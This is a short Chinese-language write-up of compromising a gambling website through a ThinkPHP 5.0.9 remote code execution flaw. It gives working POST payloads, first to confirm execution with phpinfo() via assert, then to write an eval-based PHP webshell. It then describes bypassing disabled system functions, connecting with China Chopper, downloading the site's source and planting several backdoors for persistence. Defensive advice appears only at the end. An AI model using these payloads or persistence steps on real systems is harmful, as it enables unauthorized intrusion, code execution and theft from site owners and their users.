简单的BC站点getshell
字数 1133 2025-08-06 08:35:30
ThinkPHP 5.0.9 RCE漏洞利用与Getshell技术分析
漏洞背景
本文记录了一个针对ThinkPHP 5.0.9框架的远程代码执行(RCE)漏洞利用过程,最终成功获取webshell的完整技术细节。该漏洞存在于ThinkPHP 5.0.9版本中,攻击者可以通过构造特定的HTTP请求实现任意代码执行。
目标识别
- 目标站点:一个博彩(BC)类网站
- 发现方式:通过旁站信息收集
- 框架识别:ThinkPHP v5.0.9
漏洞验证
初始验证Payload
使用以下POST请求验证漏洞存在性:
_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
这个Payload利用了ThinkPHP框架的以下特性:
_method参数用于覆盖HTTP方法__construct方法构造器filter数组用于指定过滤函数- 最终通过
assert函数执行任意PHP代码
环境信息
验证成功后发现:
- PHP版本:5.4.45
- 安全限制:system等系统命令执行函数被禁用
绕过限制Getshell
禁用函数分析
通过phpinfo()发现disable_functions禁用了许多危险函数,包括:
- system
- exec
- passthru
- shell_exec
- 等系统命令执行函数
替代方案
由于系统命令执行函数被禁用,采用以下方法直接写入webshell:
_method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>')
这个Payload:
- 使用file_put_contents函数直接写入文件
- 写入一个简单的PHP webshell,使用eval执行POST传入的代码
- 避免了被禁用的系统命令执行函数
后续操作
- 连接webshell:使用中国菜刀连接写入的a.php文件
- 权限检查:发现服务器启用了远程安全模式,权限受限
- 源码下载:下载网站源码,部署多个后门防止被删除
技术要点总结
- ThinkPHP 5.0.9 RCE漏洞:通过_method参数覆盖和filter参数实现代码执行
- 禁用函数绕过:当系统命令执行函数被禁用时,使用文件操作函数直接写入webshell
- 持久化:部署多个后门确保访问权限持久性
防御建议
对于网站管理员:
- 及时升级ThinkPHP框架到最新安全版本
- 限制危险PHP函数的使用
- 监控网站文件变动,特别是.php文件的创建和修改
- 实施Web应用防火墙(WAF)规则阻止此类攻击
对于开发者:
- 不要信任用户输入,特别是用于方法调用的参数
- 实现严格的白名单过滤机制
- 避免使用assert等危险函数处理用户输入
补充说明
- 文中提到的"BC站点"指博彩类网站,此类网站常因安全投入不足而存在较多漏洞
- 虽然中国菜刀是较老的工具,但在特定环境下仍可使用
- 实际渗透中应根据目标环境灵活调整攻击方式,如函数被禁用时寻找替代方案